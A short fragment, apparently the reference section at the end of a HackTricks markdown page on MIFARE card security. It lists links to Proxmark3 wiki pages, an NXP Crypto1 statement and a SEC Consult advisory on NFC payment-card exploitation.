- [Proxmark3 wiki: HF MIFARE](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Mifare)
|
||||
- [Proxmark3 wiki: HF Magic cards](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Magic-cards)
|
||||
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
|
||||
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user